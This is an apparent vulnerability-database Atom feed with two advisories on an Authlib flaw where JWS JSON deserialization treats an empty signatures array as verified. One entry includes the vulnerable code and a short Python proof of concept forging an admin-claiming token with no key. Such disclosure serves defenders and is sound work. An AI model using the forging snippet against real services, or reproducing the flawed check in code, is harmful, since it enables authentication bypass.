<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-11-15T23:25:10.970234+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/cve-2026-96760</id>
    <title>CVE-2026-96760 — Authlib library contains a signature‑verification bypass vulnerability</title>
    <updated>2026-11-15T23:25:10.972057+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Authlib</p>
<p>Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/cve-2026-96760"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-6v38-4h7w-rj9h</id>
    <title>GHSA-6v38-4h7w-rj9h — Authlib: empty signatures validation in JWS JSON deserialization</title>
    <updated>2026-11-15T23:25:10.972171+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: authlib</p>
<p>Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.</p>
<p>## Root cause</p>
<p>`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:</p>
<p>```python
is_valid = True                        # set before anything is checked
for header_obj in obj["signatures"]:   # empty array means the body never runs
    jws_header, valid = self._validate_json_jws(...)
    if not valid:
        is_valid = False
...
if is_valid:
    return rv                          # returns the payload as verified
```</p>
<p>`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON
Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and
the payload is returned as successfully verified. No key is consulted, because no signature is
examined.</p>
<p>## Reproduction</p>
<p>```python
import base64
from authlib.jose import JsonWebSignature</p>
<p>def b64(b):
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()</p>
<p>jws = JsonWebSignature()
payload = b'{"sub":"attacker","role":"admin"}'
forged = {"payload": b64(payload), "signatures": []}</p>
<p>print(jws.deserialize_json(forged, key=None))
```</p>
<p>Observed on authlib 1.8.0, Python 3.14, clean virtualenv:</p>
<p>```
[A] ATTACK   general JSON, signatures:[] , key=None
    ACCEPTED…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-6v38-4h7w-rj9h"/>
  </entry>
</feed>
